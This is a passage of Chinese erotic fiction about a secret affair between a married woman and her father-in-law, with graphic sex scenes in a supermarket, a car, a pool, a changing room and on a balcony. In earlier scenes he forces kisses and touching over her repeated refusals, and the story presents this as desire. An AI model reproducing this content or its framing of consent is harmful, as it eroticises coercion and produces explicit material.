推着车,不紧不慢跟了上去。
「做一个虾,一个菌菇汤,一个红烧猪蹄,再买点笋,炒个蔬菜好嘛?你得
多吃点清淡的。」
「只要你做的,什么都行。」
这人还真是……念真又被他这句话弄得面热,忙俯身去拣青菜,装作没听见。
她今天穿的紧身牛仔裤,绷得屁股圆滚挺翘,因为俯身的动作高高撅着,性
感而不自知。
许明怀悄无声息来到她身后,倾身扶上货架,整个人对她形成一种包围,下
身暧昧地贴上她的臀。
念真自然察觉到了,屁股被他不知道什么部位顶着,面上流露出难堪神色,
欲要直起身子,却贴上他的胸膛,两人挨得更紧了。
许明怀一手顺势向下环住她的腰,在她耳边用只有两个人听得见的声音说:
「屁股这么翘,顶到我哪了?」
「爸爸……还在外面呢,别这样不正经。」她顾忌着周围人眼色,想叫他放
开自己。
许明怀垂眼看她,「在家里就可以不正经了?那我们快点回家。」
「还有,以后在外面,不要叫我爸爸。」
那要叫什么?直接叫名字吗?未免也太逾矩了吧……
许明怀撩了撩她的头发,露出她秀妍的侧脸,满意退开一步,一手掌控着推
车,一手牵住她往收银台走去。这下,他们和这里每一对情人在外表上看起来也
没什么差别了。
许明怀心情很愉悦,路上也没什么拥堵,他们一路顺畅地回到了家,不过天
色还是已经暗透了,小花园里的路灯早已按时亮了起来。
男人将车停稳,偏头过去,昏黄的灯光下,儿媳的脸庞愈发温柔妩媚,一颦
一蹙妖精似的撩人,他心念躁动,看着看着便倾身过去。
手臂横在她头上,停在咫尺之外,对望着,目光从她无辜的眼睛下移,落在
唇上,呼吸一紧,又慢慢凑上去……
没碰到,原来是被她躲开了头,「我是振扬的妻子,我们这样不行的。」
冯念真说完边开门下车,不管他那边怎样,自己绕到车后备箱,把买的菜拎
着,率先往家里走。
「啊……唔……」
还没走出两步,身体猛一离地,双腿自动分开夹着男人的腰,手上提着袋子
慌乱中环住他,还没看清便被咬住下唇,他动作竟这般敏捷迅速。
许明怀托抱着冯念真,仰头咬着她的下巴,又一点点往上啃,最终亲到她的
嘴,大举侵入她口中,急切吞噬。
冯念真以一种屈辱的姿势被迫张开嘴承受他的扫荡,舌头被他一下一下撩着,
耳朵一阵阵发热,先前汹汹气势也熄了,自己光是承着不回应,没一会也气喘吁
吁。
两人一路抱着亲着来到门口,念真躲着公公索吻的嘴,把袋子全顺到左手,
腾出右手去他裤袋里捞钥匙,可他胡乱亲在她脖子窝、耳朵上的嘴更加灼人。她
仰头急促喘着气,手上一个不稳,摸岔了,碰到一个粗硬的物事。
「骚宝贝儿,往哪摸呢?」许明怀舔弄着她的耳垂,在她耳边压低声音问。
「对不起,我不是故意的爸爸……」
「故意的也没关系。乖,舌头伸出来。」
冯念真已经被公公亲懵了,脑子乱成浆糊,晕乎乎地凑上嘴,伸出舌头来给
他吃。
许明怀扶着她的头往更深了吻,两人撞到了门上,她已经找到钥匙,准确地
对准锁眼。
「咯哒」一声,门应声开了条缝。
「真真,怎么才回来?你老公我都快饿死了!」成年男性的声音遥遥传来,
还有些不真切。
冯念真一下就清醒了,立马从许明怀身上跳下来,慌乱地卸下塑料袋,理理
头发又擦擦嘴巴,和片刻之前还吻过自己此刻却仍轻松站定的男人对望一眼,心
里又恨又怕。
门被人从里面拉开,许振扬见到父亲也站在外头有些意外,没说什么,将两
人让了进去。
许明怀看似无意地脱下外套挂在手里,换了鞋走在前面。刚刚在外头和儿媳
妇亲了会嘴,屌就硬得不行,就怕儿子看出来点什么。
(六)沦陷
冯念真收到了一家公司的Offer,面试结果很成功,这意味着她将重新
走上职场,向自主独立的新时代女性看齐。
这天她回到家,家中却反常地热闹,还没走近就听到吵吵嚷嚷的人声。开门
一看,原来是许明怀的几个学生来做客了。
这些人里年纪最大的看着只比许明怀小不了几岁,年纪小的几乎才上中学,
甚至还有两三张外国面孔。
上次在球场她就同他们打过照面,大家都知道许教练有个漂亮的儿媳妇,见
了她也热情地打招呼。
「嗨,你们玩你们的,我去把桌子收拾一下。」冯念真有些纳闷,许明怀那
么一个怕被打扰的人居然会带人回来玩……
男人在桌边按住她的手,念真不动声色缩了回去,他看着也并不在意,「我
来,你回房间休息。」
她望着男人离去的背影,若有所思。
这边许明怀洗好碗筷,发现冯念真不知何时竟与客厅里一群男人聊得火热,
大概面试成功心情好,从他的角度看过去,那叫一个巧笑倩兮,美目盼兮。
「真真,上次我带回来的茶叶你放哪了?」
冯念真回头,许明怀站在厨房门口看着她。
「上面第二个柜子里呀。」她边说边朝他走去,许明怀侧身让了让。念真踮
起脚去找,裙摆缩到了大腿,顺着臀部曲线垂坠下来,轻轻摇曳,全被男人看在
眼里。
「这不是么?」
许明怀看了一眼她手中的东西,视线继而定在她脸上,「在外面,聊了什么
这么开心?」
她先是怔愣了一下,缓缓收敛了表情,不知道在想什么,面容显得越发沉静。
空气有些凝固,外面欢声笑语不断,一时间听起来竟有些遥远。
念真扬起长睫,和他望着自己的深邃眸子对视了片刻,欲言又止,最终还是
撇开了眼睛。
这一切在许明怀看来,却是欲迎还拒的勾引。他的大掌攀到她脑后,盯着她
涂着唇彩的嘴唇,低头吻了上去。
第一下只是轻柔地碰触,被她饱满的唇弹开。
念真仍是抗拒的,躲了一下,双手也推挤着男人,被他忍无可忍地逼退几步
后背撞上冰箱,紧接着掐着下巴重重吮住嘴唇。
含糊不清的一句「爸爸」被他吞进肚子里,许明怀收紧她的腰,泄恨似的咬
了咬她的下唇,撬开她的牙关,深入腹地纠缠,她的抵抗在他看来根本不堪一击。
吻得太急,一小嘬头发被两人吃进嘴里,也不去管,过了瘾再说。
冯念真被公公抱着亲嘴,舌头在嘴里翻搅挑逗,鼻子口腔全是男人清冽阳刚
的雄性气息,双腿一阵阵发软,早已无力抵抗,捏紧的拳头也成了摆设,渐渐松
开了。
许明怀亲了一会便退开,沉眼去看她的反应,只见儿媳美眸微含,双唇沾着
水光开了条缝,怯生生地望着自己。他哪里受得了这副样子,压低了头欲要再吻,
又被她躲了过去。
冯念真低头推他,声音瓮瓮的:「别……外面还有人……」
许明怀无奈,又将她往怀里紧了紧,暗自咒骂一声,真想把他们打包扔出去。
一群人吃喝过后,也见识过了教练的豪华住宅,便三两结伴离去,这间隐藏
在闹市区里的独栋别墅便也恢复了它往日的沉寂。
几束午后阳光穿过窗户投射进来,打在茶几上,光束里纤尘起舞,悄无声息。
「我托人从国外带的,听说祛疤效果很好,试试看。」
「谢谢爸爸,我等会就擦。」念真在他无形的压迫下坐在了沙发上,接过药
膏,可他却不放手,无奈之下只好支吾道:「我、我没穿裤子呀……」她今天为
了面试,穿了条优雅修身的连衣裙。
许明怀却冷笑一声,「你没穿衣服的样子被我看到还嫌少么?」
男人蹲在她跟前,气定神闲地旋开盖子,「听话,快点,把裙子掀上去,我
没有那么多耐心。」
念真拿公公没有办法,咬咬牙,一点点撩起了裙摆,露出了自己仅着三角内
裤的下体。
许明怀的视线也随着裙摆上移,最终落在她小腹那条暗色的疤痕上。
男人常年握杆,指腹粗粝结茧,摩挲在她肚皮上,说不出来的痒。紧接着冰
冰凉凉的药膏被他用手指推匀,期间无可避免地碰到她腿心的肌肤,念真硬着头
皮承受着,身体轻颤,呼吸也变得急促。
她以为这就算好了,可谁想到,下一瞬他竟将鼻子凑到她腿间嗅了嗅!
「一股骚味,内裤湿了?」许明怀锐利的目光紧锁住她。
冯念真整张脸一下变得通红,躲躲闪闪就是不去看他。
「我对你做什么了吗?」他咄咄逼人。
「没、没有。」她退无可退。
许明怀摸上她的大腿,呢喃一般凑近她耳旁低语:「没有你为什么会在自己
的公公面前流水,我的乖儿媳妇儿?」
念真回答不上来,痛苦地将脸埋在掌心。她一定是因为太久没被男人碰过才
会这样,一定是的。
许明怀就势亲了亲她的耳朵,手掌顺着移到了腿根,正欲再进一步之时,耳
边传来了开门的声音。
念真像被惊吓到,条件反射地从沙发上弹起来,两人退开到安全距离。
「爸,真真,你们吃过晚饭了?」
冯念真没想到许振扬今天下班这么早,很快反应过来,迎了上去,「没呢,
今天怎么回来这么早?饭都没来得及做。」
「那正好,我们三个上外面吃,庆祝一下。」许振扬放好公文包,亲昵地刮
了一下她的鼻子,「公司开始赚钱啦。」
念真扯扯嘴角做了个笑的样子,被搂着回了房间。
许家没有在餐桌上聊天的习惯,一顿晚饭三人吃得相安无事,只在末尾的时
候,许振扬的手机里来了几个电话。起初他只是拿起来看了看,很快拒绝,但那
来电铃又不依不挠地响起,大有誓不罢休的架势。
许振扬故作严肃咳了咳,「我出去接个电话。」说罢,还在冯念真唇上讨好
地亲了一口,「你多吃点。」
冯念真用脚趾头也能猜到电话那边是个什么情况,脸色一下就冷了。
许振扬走后,桌子上的气氛就结了冰。
看着冯念真这副失意的模样,许明怀心中亦不快,等了几秒,俯身过来捏住
她的下巴,拇指在她被儿子吻过的唇上狠狠擦拭。
念真无动于衷地看着他在自己唇上撒野,却在男人低头压下来的时候动了一
动,「别,振扬回来会看见……」
许明怀停在离她嘴唇咫尺的距离,眼神发了狠,冷冷道:「是不是他看不见,
就可以亲你搞你?」
她眼皮猛一抬,没来得及回答,便被男人一把拽起,踉踉跄跄拖进了隔壁无
人的包厢。
许明怀甩上房门,将她用力抵在门后,垂首压上她的唇,及时堵住了她的一
声惊呼。他重重在她唇上辗转,一手探进裙摆底下,大掌包住她的臀部使劲搓揉,
舌头在她嘴里扫荡,缠着她舌尖一下下地吸吮。
冯念真被公公掐着屁股激吻,身体着火一样发软发烫,差点晕倒在他怀里,
只觉得这种体验前所未有的刺激,令她又抗拒,又兴奋。
一边是丈夫的出轨,一边是公公的侵犯,她脆弱又无助,在这双重夹击下,
最终屈服于熊熊燃烧的欲望。
念真僵直的身体最终软在许明怀怀里,缓缓勾住男人的脖子,闭上双眼,仰
头宛转相就。
原来,她渴望这个男人的怀抱,渴望被他狂暴的情欲淹没,渴望与他一起,
跨过禁忌的界限。
激吻不知持续了多久,冯念真的屁股都快被许明怀掐肿了,内裤也被扯得挂
在跨上要掉不掉。激烈的吞噬变成耳鬓厮磨,两人都有些爱这激情迸发后的亲昵,
又抱在一起痴缠了一会才冷静下来,望着彼此眼神还很混沌不清。
许明怀贪婪地闻着她的发香,嘴唇似有若无地触碰着她的侧脸,压抑着呼吸,
像是不能自已,「真想在这里干你。」
许振扬等在停车场等了好一会才见到许明怀和冯念真的身影,有些不耐烦地
质问妻子:「我回去结账怎么没看到你们?拖拖拉拉这么久?」
冯念真心虚地与公公对视一眼,随口胡扯道:「爸烟瘾犯了,陪他去买了包
烟。」
许明怀不得不从兜里抽了根烟点着,许振扬的脸色这才和缓了许多,「爸,
我办公室有几条好烟,下次带来给你。」
「不用,这牌子抽习惯了,好烟你留着自己抽。」许明怀越过两人,率先坐
到了车后排。
车上,三人各怀心事。许明怀与冯念真所想之事自然不用说,许振扬则是算
计着方才裴羽微的几通电话是否令妻子起疑而惶惶不安,一路上观察了好几次她
的脸色,发现她一直用手抵着嘴在出神,心里的不安更是放大了。
(七)池水激荡
念真与许明怀越来越像一对坠入爱河的恋人,明面上维持着公媳身份相敬如
宾,私下里早已做尽苟合之事,有时候,公媳的身份反而更方便两人暗通款曲。
许明怀强势又霸道,走在路上要搂腰,没人的地方一定要接吻,每天都要亲
自送她上下班,甚至中午也要绕远路过来逼她和自己一块吃饭。有时候就算白天
工作繁忙没机会见面,晚上回家也一定要见缝插针地揪着她亲热。
念真没想到公公一把年纪还这么会玩浪漫,动不动就是烛光晚餐,时不时制
造惊喜,礼物鲜花送到公司里,把一群同事羡慕死,都说她嫁了个好老公。话倒
是没错,如果不是嫁给许振扬,哪来这么好的公公?男人年纪大唯一一点不好,
就是面对美色自制力太差,跟他出去约会,稍微画点淡妆擦点口红他就受不了了,
全程亲亲抱抱个没完没了。关键他还特别爱在公共场合强吻自己,大约他这个年
纪和成就,许多事情也不大忌惮了……
念真感到自己时时刻刻被爱包围着,渐渐从丈夫外遇的悲伤里走了出来。她
拥有着大好的年华、美丽脸蛋与姣好身姿,本就该被男人捧在掌心疼爱,为什么
要因为仇恨而黯淡了青春,整日以泪洗面,为一个伤尽她心的男人毁掉自己的人
生?为什么要为一个不再属于自己的怀抱,拒绝世间所有的温暖?
至于那些伤害她的人,总有一天,她要亲手一个个地收拾。
午间休息的时间本来就短,吃完饭只剩半小时了,许明怀不愿放她回公司,
两人窝在他的悍马后座上小憩。
冯念真今天穿的是白色衬衫配深蓝包臀裙,衬得胸部丰满、腰身纤细而臀部
紧致,一眼给人留下干练精神的职场女性印象。
然而此时却坐在男人膝头,衣摆从裙子里扯出来,纽扣开了正好的三颗,胸
罩带子也落下肩头,将将露出半颗奶子和红艳艳的乳晕,她自己,被男人从衣服
底下钻出来的手掐住下巴,深深浅浅地吻。
唇舌交换了个遍,许明怀松开她的下巴,转而抓住一旁裸露的娇乳揉弄,轻
轻捻摘她的乳粒。念这两只奶子被养得很好,饱满柔软,莹白腻滑,手感极佳,
许明怀简直爱不释手。
「真想把你这两只奶摘下来抓在手里天天玩。」低声说话的同时,许明怀手
上不禁加重了力道,把她揉得嘤咛出声。
「嗯……轻点呀……」说得他没天天玩一样。
男人鼻梁高瘦,眼睛轮廓很深,睫毛比她还要密长,动情的样子也很性感。
冯念真鼻尖和他贴着,缠绵对望着,红唇微启,双目迷蒙,已是情生意动模样。
念真微微凑上去和他有一下没一下吻着,就见他拉开了裤子的拉链,急了:
「别,我一会还上班呢。」
「你这种样子我他妈忍得住?」
念真脸一红,默默拉起了内衣带子,顺带着整理了一下衣领。
「欠干。」许明怀狠狠骂了一句,下一秒摸进她大腿将裙子直接捋了上去,
露出白花花的屁股,大掌情不自禁地覆上去揉搓,呼吸也紧了紧,一个翻身调转
了位置将她压在了身下。
许明怀褪下裤子,阴茎高高冲她抬着头,一荡一荡的,似在打招呼。
尽管早已识人事,念真还是羞得满脸通红,别着头不敢看。
许明怀跪上垫子,迫近几分,逼着她转过来,「做什么不敢看?嗯?」他扶
着分身隔着女人薄薄一层内裤顶着她的私处,「这会先不进去,往后,瞧着它怎
么疼你!」
许明怀在她唇上狠狠亲了一口,就势顶弄起来。
念真被她的公公捞起双腿分开到最大,是一个极为羞耻的姿势,阴唇被男人
硕大的龟头一下下撞击着,没一会就痒了,唇缝里悄然渗出汁水。
从背后看上去,女人大张着双腿,一脸销魂神情,仿佛真的被男人压在车座
上大肆操干。
许明怀弄了几下,又将她双腿合并向上折叠,阳具找到腿根的缝隙,一下下
抽插起来,她娇嫩的皮肤也被磨的很快泛红。
念真被公公的龟头持续顶到小腹,双腿维持着艰难的姿势,没一会就酸了,
同时又有点想要真枪实弹地同他做,可不能真做,要真做了,她这整个下午都别
想去上班了。
于是求饶:「爸爸……不要了……时间到了,要去上班呀!」
许明怀自嗨了一会便已满头是汗,最后夹紧她双腿猛戳了几下,舒舒服服地
释放了,射得她内裤、大腿、小腹,星星点点沾着乳白稠状物。
「又流水了吧?小逼痒不痒?」许明怀盯着她私处的淫靡景象恶意问。
念真又羞又恼,待他整理好着装,便将他赶去了前面,脱下脏掉的内裤将他
留在自己身上的秽物擦去,自己又从包里掏出干净的换上。
自从与他开始这段见不得光的关系,亲热中湿了裤子早已是家常便饭,因此
她出门,包里一定要留一条备用。
最后,许明怀将车停在她公司附近,又仔细将人亲了亲,才肯放走她,「下
午接你去游泳。」
冯念真将他一推,俏娇俏娇地走了。
下班时间许明怀早早等在外面,冯念真以为他会带自己去什么游泳馆,没想
到车却往他的球场开去。
一路进来都没遇见什么人,念真暗自庆幸,不然三番两次地跟他来这里,别
人不说闲话才怪。
大约在自己的场子还是有所顾忌,许明怀一路都未与她有亲密互动,直到进
了办公室,才把她手一牵,拉到办公桌前,神神秘秘地从柜子里取出一个纸袋。
念真不解:「不是说游泳?」
许明怀朝一个方向努努嘴:「里边就有个泳池,去更衣室把衣服换上再过来。」
「这里?不会有别的人过来吗?」
「内部专用的,不对外开放,放心吧。」
她将信将疑看了他一眼,提着袋子进了更衣室。
可等她进了更衣室才傻了眼,许明怀给他的袋子里哪是泳衣,根本不过就是
几块破布条子!上面吝啬的布料,堪堪遮住两边乳头,下面就更不用说了,一条
丁字裤勒着股沟,前面还是镂空的……
念真欲哭无泪,只好硬着头皮换上,做了好半天心理建设才披着浴巾出来。
那边许明怀早已在泳池里驰骋了好几圈,见她出来,才游到池子边向她伸手。
冯念真咬着嘴唇,愤愤瞪了他一眼,「你买的这都什么呀!」
许明怀不解地挑挑眉,半审视意味盯着她裹着浴巾的身子瞧。知道她放不开,
他让女助理挑的泳衣,自己也检查过,还算挺保守的吧,怎么反应这么大?
但许教练何其精明,一下脑子便转了过来,料到是教练组那几个老不羞捣的
鬼。这群臭老头子,平日里就老不正经,还真是,头回着了他们的道。
许明怀摸了摸下巴心里琢磨着,同时后背开始发热,看她的眼神都不一样了。
男人游到边上去了,念真才敢坐下来,把脚放进池子里扑腾,一边纠结到底
要不要下水。冷不丁,脚丫子被啄了一下,男人不知何时从水底冒出一个头,接
二连三亲吻着她脚底板、小腿肚。
她痒得受不住,捂着嘴吱吱不停笑,一个不留神,被他掀了浴巾拉了下来。
这下不仅笑不出来,还猝不及防喝了口水,濒死般抱着他身体,哗一下冲出
水面。最后两人停在水中央,许明怀托举着她屁股,一贯肃穆的脸上难得露出了
笑容。
冯念真抱着公公,慢慢又红了脸。打破禁忌以来,这么赤身裸体地肉贴肉抱
着,这还是头一回。
许明怀仰头看她的样子,湿漉漉的眉毛还挂着晶莹的水珠,睫毛粘成一片,
显得眼睛格外透亮,他甚至有些不敢直视。至于下面……刚才掀浴袍的时候那短
暂的一瞥,他就已经感觉到身体某处起了反应。
他不断啄吻她下巴和脖子,一直流连到耳后,吐出的热气蒸着她耳朵,「穿
这样真好看。」
念真一下抱紧了他,不让动……也不让看。
气氛有些变了,许明怀凝视了她几秒,接着猛地亲她嘴,舔弄她唇珠,最后
吸住她舌头,咂咂吸出水声。念真闭上眼睛任由他化身为狼一样凶凶地吻自己,
任由激情吞噬自己。
许明怀渐渐手上不老实,一手拨开她比基尼泳衣的一边,露出嫣红的乳头,
轻揉慢捻,那边又追逐着她的唇舌,像在玩一场躲藏游戏。
两人嘴巴分开,念真抚摸着公公性感的下巴,闭着眼睛贴近,小声告诉他:
「轻点……乳头被你弄的这几天穿衣服都痛。」
下面,许明怀松开儿媳妇的奶子,往下勾住勒着她股沟的带子弹了弹,许是
擦痛了阴唇,念真娇娇呼出了声。这妖精,分分钟叫人想干!
许明怀三下五除二解掉了她的丁字裤,抛向水面,那布料又薄又轻,还是镂
空的,浮在水面上,漂远了。
叫嚣已久的阳具解脱了内裤的束缚,自发地找到女人的穴缝,抵着窄小的入
口,一寸寸顶开。池水涩涩的,并不能起到润滑作用,好在她分泌得足够,许明
怀抱着她站在水里,慢慢试探,最终进入、贯穿了她。
公公进入的一刹那,念真所有感官都有些失真,恍惚中,不知道自己身处何
处,又是被谁侵犯着下体,是她的丈夫许振扬吗?
不,是许振扬的父亲!这个她本该视为尊长敬爱的男人,本该唤一声「爸爸」
的男人,在这个游泳池的下午,她将自己堕落的肉体,彻底交给了他。(八)霸

上一次性生活大概在遥远的一个多月前,这次又是在水里,对象还是自己的
公公,冯念真久旷的身子如同处女般敏感紧致。再次被男人充满的感觉,是那么
美好令人欣喜,那一阵快感,简直酥到了骨子里。
有了水的阻力,再加上潮液随着阴茎每次抽出再插入总会被稀释,许明怀只
能分开她的腿缓慢操弄,但每次都入得很深,整根整根没入阴穴,像要捅到她肚
子里。
念真趴在公公肩上闭着眼承受一下接一下的撞击,这样极尽缠绵的厮磨,像
是要做到天荒地老。
泳池空旷,稍微弄出点声响就会有回音,随着下体被男人加快力道和速度抽
插,快感一阵阵冲击着她的大脑皮层,念真紧咬下唇忍着不发出呻吟,指甲挠在
许明怀背上变得没轻没重。
背上的痛意令许明怀的喘息变得急促加重,仿佛报复似的每一下都重重顶到
她内壁藏匿着的敏感点上。她一受刺激便激动收缩,吸绞着男人阳具,两人一起
舒服地叹了出来:「嗯……」
念真睁开眼睛,脸上挂着汗珠,白白净净,头发挽起在脑后湿答答滴着水,
露出水面的肌肤也白,又丰腴,出水芙蓉似的。娇乳尖尖刮着他胸膛,红通通的
眼睛和他对望着,哑声叫他爸爸。
许明怀最见不得她这幅样子,跟十七八的小女孩似的,清纯得不得了。他一
下激动得不行,硬挺挺的巨根从她穴里抽出来,打算换个姿势继续操她。
念真被男人翻过身略带粗暴地推到池壁上,掰着她水下的屁股,阴茎撑圆了
穴缝又从后面刺入。
「啊……」冯念真双手扒在池壁上被公公的阳具再次贯穿了阴穴,微张着嘴
长长舒了口气。
许明怀的嘴不断吻着她光滑的后背、脖子,最后来到耳朵,舔弄着整个轮廓,
下面发力顶弄着,一边用性感的声喉在她耳边低喃:「真儿,爸爸的骚宝贝…
…屁股撅这么高,喜欢爸爸干你是不是?」
是的……好喜欢。
喜欢他没刮干净的胡茬刺着自己皮肤的触感,喜欢他迷人的双眸望着自己时
里面赤裸的情欲,喜欢他对自己,从身到心的霸占。
念真感到一股快感从头皮到脚趾袭击了自己,抓着池壁,半个身子露出水面,
扭头和他接吻。许明怀分身还嵌在她里面抽动,这下看见她双峰上乳头越发红艳,
手臂从身后环过来情色地揉捏起来,同时含住她送过来的唇。
许明怀喘息渐重,挺腰从后面干她,猛烈的动作震着她的屁股在水中抖动,
一下比一下更重。水下悄无声息进行着交合,水面波纹一圈圈荡开,由近及远的
平静,像在保守某个秘密。
「啊……啊……爸爸……」念真再也克制不住,仰头呻吟了起来,一声更比
一声娇,盘旋在泳池上空不散。
「叫这么浪不怕被人听见?」许明怀抓着她散落的头发瞧着她销魂的脸。
这边话音刚落,入口便依稀传来一阵中气十足的笑声,紧接着又是杂乱的脚
步声,渐渐在靠近。
冯念真心里咯噔一下,与许明怀对望一眼,赶忙将脸埋入水中。
「哟许大教练,今儿真有兴致,带了朋友过来游泳呐!」
就知道是教练组几个大老粗,扎堆来闹自己。
许明怀分身还保持着插入冯念真下体的姿势没动,面上笑骂了声:「给老子
滚蛋!」
几个老男人远远看见两人贴在一起的姿势,以及水面上浮着的红布条子,便
晓得替老许精心准备的礼物派上了用场,互觑着露出默契的笑容。
「大妹子,我们许教可是『一杆进洞』的能手,可『能干』了,今天让你好
好见识见识啊!」
念真在水底快窒息了,根本没听见他们在说什么。可许明怀不可能听不懂这
几根老油条开的黄腔,低啐了一声,见你妈。
几个人见好就收,笑闹着便也离开了,游泳馆一时之间又只剩两人。
许明怀把冯念真从水里捞上来,念真怕后面再有人来,说什么也不肯再让他
做了,他便咬咬牙,从她体内退出去。
「更衣室里可以洗澡,你自己先过去。」
还好这会没有人,她一路顺利地从游泳馆溜进了外边的更衣室。
温水从头顶浇下来,念真清醒了许多,数着身上欢爱时公公留下的暧昧印记,
她这才开始担心晚上会被许振扬看见,一颗心也提了起来。
这时外面突然有人敲门,她心不在焉地被吓了一跳,「谁?」
那人没说话,只咳了咳作为应答。
冯念真听出是公公许明怀,以为是拿衣服给自己,没多想便撤了门栓。
男人高大的身躯很快挤了进来,一下抱住她洗的香喷喷的身子,狭小的更衣
室变得更拥挤。
「唔唔……这里是女更衣室呀,你怎么这样?」念真一边躲着他的吻,一边
推他。
许明怀亲不着她的嘴,便低头吸住她翘挺挺的奶子,大口大口吞咽,果然她
不再挣扎,抗议也变成了急促的喘息。
「呜……别咬……」
许明怀直起身,抬起她一条腿,手指试探,这妖精洞里还那么滑,他便就着
先前的湿润,扶着勃起的男根顶了进去。
念真背抵着墙壁,下身吸着男人的巨根,不自觉眯起了眼睛,咬紧下唇,脸
也被热水蒸得红扑扑的,十分妩媚。
许明怀扶着她便开始摆腰前前后后操弄起来,一开始入得缓慢有耐心,阳具
拔拉出来,全是她的水,又湿又黏。年轻的儿媳妇做起来就是爽,皮肤摸着嫩,
奶子又挺又大,虽然之前在池子里已经搞过她一次,现在小逼还是这么紧,吸着
自己的屌,脸上还这么浪荡,乖得不像话。
捣她里面,把她捣烂!一个声音在许明怀脑子里回荡。
刚才在池水里做,因为有了水的阻力才没办法快,现在站着要她,男人便无
所顾忌,又快又重地冲撞女人的下体,把她顶得颠上颠下,两颗奶子晃晃荡荡,
淫得不成样子。
「慢、慢点……不要……呜呜真真要被爸爸插坏了……」
许明怀高频率地冲刺了一会,便因体力不支慢了下来,挺胯拍打她屁股还是
很凶,一下下发出脆声,一双眼红的仿佛下一秒就要喷火,「不要?不要你吸这
么紧?爸爸干得你不够爽?」
念真不说话了,干脆也不哼哼了,只是脸上表情依旧痛苦。
后面大概意识得自己语气太凶,又把人抱在怀里哄:「我们真真小逼这么厉
害,爸爸再插一百年也不会坏,乖……爸爸快到了……射给你好不好?」
念真怕了,赶忙阻止:「不、不行!会怀孕的!」
她讨好地亲亲男人的下巴,用可怜的眼神乞求,「爸爸……」
许明怀哼了一声,拔出来,最终释放在外面。
一切结束后,他重重亲了亲她的嘴,放下狠话:「总有一天你得被老子干到
生儿子。」
这么大岁数还跟小孩似的满嘴胡言乱语,念真在心里骂了声,鬼才要给你生
儿子。
(九)阳台作案
这日艳阳高照,许振扬早早便去上班了。
冯念真在阳台晒衣服,忙碌地穿梭在翩飞的床单之间。
男人不知什么时候进到了她的房间,悄无声息地从背后将她抱住,一个个轻
吻落在她的头顶、耳朵、脖子上。
许明怀把手探进她日式睡衣的衣领里轻轻揉搓,冯念真手一抖,未晒的湿衣
服啪的一下落回桶里,嗔了句:「别闹了……」
他把她的身体转过来,凑近吻了吻她淡樱色的唇,手掌还在她胸前鼓动,
「奶头这么快就硬了,想做爱?」
「哎呀……手拿出去呀……」
底下,他的手钻进她的内裤里,被黏液沾湿了手指,「啧啧,还没做就高潮
了?」
不知为何,面对公公的撩拨,她总是湿得很快,下体一阵阵空虚,浑身绵软
无力却又无可奈何。
许明怀满意地看着儿媳在自己手下沉沦,皮肤由白皙变得红润,目光由澄清
变得迷离,整个人由端庄变得娇媚动人,是他让她敢于直视自己的情欲,让她真
正像一个女人。
「衣服脱了,让爸爸好好干干你的小骚逼。」许明怀不紧不慢说着,便去解
她睡衣的活结。
冯念真残存的理智让她按住了他的手,「不行,上班会迟到的。」
男人用冒着胡茬的下巴暧昧地摩挲她的侧脸和脖子,指甲轻轻刮蹭她私处,
听见她娇娇哼了出声,「不行?你要我一整天满脑子都想着怎么干你么?」
念真被许明怀没羞没臊的粗话挑逗得情动,攀附着他,靠在他胸前,想做又
不想做,很是为难。懒懒的,就想这么被他抱着,眼睛只看到他性感的下巴,想
和他接吻。大概他也感应到,低下头含住了她微张的唇。
许明怀咂咂吃了会她的唇舌,愈加气喘不耐,扯开了她的衣带,冯念真还在
做无谓的抗争:「不要在这里,会被别人看到的。」
别墅二楼的阳台宽敞明亮,视野开阔,外面一眼就能看到阳台上的风景,她
脸皮薄,怎肯做那种事让人大刺刺看了去,万一被人发现她和公公乱伦,她还要
不要做人了?
「又不是什么别的地方,在自己家里做,怕什么?再说,不是有床单挡着么?」
许明怀抱着她挪了几步,躲到晾着的床单后面。
手指挑开她的衣襟,玲珑曼妙的胴体渐渐在眼前展露。
冯念真的胸部很丰满,但不是夸张的大,上半部分稍显平缓,下半部分则是
充满张力的圆润,乳头尖尖往上勾,看起来十分挺翘又沉甸甸。
她晓得自己的胸长得有多好,刚谈恋爱那会,每次约会许振扬都要找个没人
的地方捏玩片刻。然而如今被公公这样握在手里,仍旧会臊得脸红。
许明怀红着眼用手掌搓着她的双乳打圈,一面又压下来亲她的嘴,睡衣被彻
底挑开滑落在地,一只手滑到身后揉捏她的臀肉,接着是腰腹,带着克制的力道,
一点点将她身体里的情欲全点着了。
许明怀的手掌终于逡巡到了她的私处,隔着内裤拇指有一下没一下按压着阴
蒂,嘴唇来到耳根处吻咬。
「啊……爸爸……不行……」念真难耐地闭上眼睛,鼻腔溢出好听的吟哦,
将男人逼到了欲望爆发的临界点。
「宝贝儿,快让爸爸插插你的小逼,爸爸忍不住了!」
许明怀急色地扯下她的内裤,抬起她一条腿,那巴掌大点的内裤就那么可怜
地落到脚踝,甚至都来不及褪出。
三条腿同一条内裤暴露在床单下面,外面的人一看就知道这里发生着什么。
念真一条腿落在他手肘,有些站不住,紧紧搂着他,乳房被他胸膛挤得变形。
许明怀目光和她痴缠着,一下下亲着她,手指在她私处不时揉捻,她流了好
多水,想到马上要在这里操她,他浑身血液便直往一处冲,裤头都快顶破。
念真感觉到公公滚烫的龟头抵着自己阴唇,将刺未刺,那触觉熟悉又陌生,
即将发生的事情令她又紧张又兴奋,只觉得下身一阵阵发紧。
许明怀扣着她的臀,尝试着一点点刺进去,就看见她眼睛眯了起来,「啊
……」
和上次在水里做不一样,儿媳幽处的紧致令他不敢粗鲁地长驱直入,只能紧
着头皮慢慢向前挺进。她里面虽然很湿了,但他的尺寸还是令她有些吃不消,面
对壮硕无比的男根恶劣侵入,每一道褶皱都在为他打开,紧紧吸附。
好不容易才进去了一大半,硬生生停在那,被她窄穴绞吸着,要命的舒服。
冯念真皮肤薄,稍微受点刺激就容易泛红,两颊、耳朵尖都带一抹霞色,眼
睛水盈盈的,含羞带怯,嗯嗯发着娇喘。
「怎么这么爱哭?爸爸都还没全部进去,你自己看。」
念真迟疑地低下头,第一眼就羞得慌。不知道是不是带有欧洲血统的缘故,
公公的尺寸异常壮观,乱糟糟的一丛毛发中,粗长紫红的阴茎没入自己的下体,
眼看着还在挺入。
「不要……太大了……出去一点,里面好酸。」
许明怀哪里会听,下一秒就是一个摆腰,狠狠操了进去。
「啊……爸爸……唔……」念真被男人一挺到底,紧接着缓缓抽插起来,随
着他操弄的动作在他怀中颠簸,站都站不直,声音也是破碎的:「慢、慢点…
…嗯……哈……」
站立的姿势交合虽然刺激,但总不是那么痛快。许明怀站着弄了她一会,不
够过瘾,便把她抱到几步之外的洗衣台上,让她坐在上面,站在她腿间挺送。
